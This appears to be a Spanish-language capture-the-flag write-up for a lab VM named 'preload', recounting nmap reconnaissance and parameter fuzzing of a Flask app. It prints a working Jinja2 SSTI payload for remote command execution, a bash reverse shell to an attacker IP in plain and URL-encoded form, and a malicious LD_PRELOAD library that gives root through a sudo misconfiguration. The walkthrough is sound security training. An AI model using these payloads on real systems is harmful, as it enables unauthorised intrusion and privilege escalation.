Reconocimiento
Identificamos la IP de la víctima:
❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.151 08:00:27:8e:15:d6 PCS Systemtechnik GmbHEnumeración de servicios
El escaneo completo identifica SSH, HTTP y un servicio en 5000. El fingerprint de Nmap propone landesk-rc, pero la conexión directa demuestra que el servicio real inicia una aplicación Flask en el puerto 50000; tratamos el nombre de Nmap sólo como una conjetura inicial:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.151
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
MAC Address: 08:00:27:8E:15:D6 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds❯ nmap -sCV -p 22,80,5000 -oN 02-targeted.txt 192.168.1.151
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
| 256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_ 256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Welcome to nginx!
5000/tcp open landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 secondsNos conectamos al puerto 5000 y observamos el banner que inicia Flask:
❯ nc 192.168.1.151 5000
* Serving Flask app 'code' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on all addresses.
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://192.168.1.151:50000/ (Press CTRL+C to quit)El mensaje confirma que la aplicación queda disponible en el puerto 50000.
La ruta raíz devuelve Internal Server Error, por lo que buscamos parámetros que cambien la respuesta.
Fuzzeamos en busca de parámetros:
❯ ffuf -u 'http://192.168.1.151:50000/?FUZZ=/etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -fs 290
...
cmd [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 515ms]
...El parámetro cmd produce una respuesta distinta y, vacío, muestra un mensaje de bienvenida:
❯ curl 'http://192.168.1.151:50000/?cmd='
Welcome!!!!!!!!!!!!!Al enviar texto ordinario, la aplicación lo refleja:
❯ curl 'http://192.168.1.151:50000/?cmd=hello'
helloServer-Side Template Injection (SSTI)
La reflexión por sí sola no prueba una vulnerabilidad. Enviamos {{7*7}} y recibimos 49, lo que demuestra que el servidor evalúa la entrada como una expresión de plantilla. La variable config expone además un objeto de configuración de Flask, consistente con Jinja2. Esto confirma Server-Side Template Injection (SSTI):
❯ curl "http://192.168.1.151:50000/?cmd=\{\{7*7\}\}"
49❯ curl "http://192.168.1.151:50000/?cmd=\{\{config\}\}"
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>El siguiente payload recorre las subclases de Python hasta alcanzar objetos que exponen __builtins__, importa os y entrega el parámetro input a popen. De esta forma, una expresión de plantilla se convierte en ejecución de órdenes:
{%
for x in ().__class__.__base__.__subclasses__()
%}
{%
if "warning" in x.__name__
%}
{{
x()._module.__builtins__['__import__']('os').popen(request.args.input).read()
}}
{% endif %}
{% endfor %}La misma expresión en una línea queda así:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoamiAl enviar la expresión codificada para URL con input=whoami, la respuesta identifica al usuario paul. Esto valida Remote Code Execution con los permisos de la aplicación.
Obtenemos una shell, inyectando una reverse shell:
http://192.168.1.151:50000/?cmd=...&input=bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"url encoded:
http://192.168.1.151:50000/?cmd={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%}&input=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.5/1234%200%3E%261%22❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.151:43980.
bash: cannot set terminal process group (360): Inappropriate ioctl for device
bash: no job control in this shell
paul@preload:/$Obtenemos una shell de paul y la primera flag.
LD_PRELOAD Privesc
Para escalar privilegios, revisamos sudo -l:
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
env_reset, mail_badpass, env_keep+=LD_PRELOAD,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on preload:
(root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
/usr/bin/head, /usr/bin/ssAunque sudo normalmente elimina variables peligrosas, env_keep+=LD_PRELOAD conserva expresamente LD_PRELOAD. Esto habilita LD_PRELOAD Pivesc: el cargador dinámico introduce nuestra biblioteca en uno de los binarios autorizados antes de ejecutar su función principal. Como ss se inicia con UID 0, _init() también corre como root, elimina la variable para evitar recursión y abre Bash:
❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}Copiamos la fuente a la víctima, compilamos la biblioteca compartida y la precargamos al ejecutar ss mediante sudo:
paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss
root@preload:/tmp#Obtenemos la última flag y fin.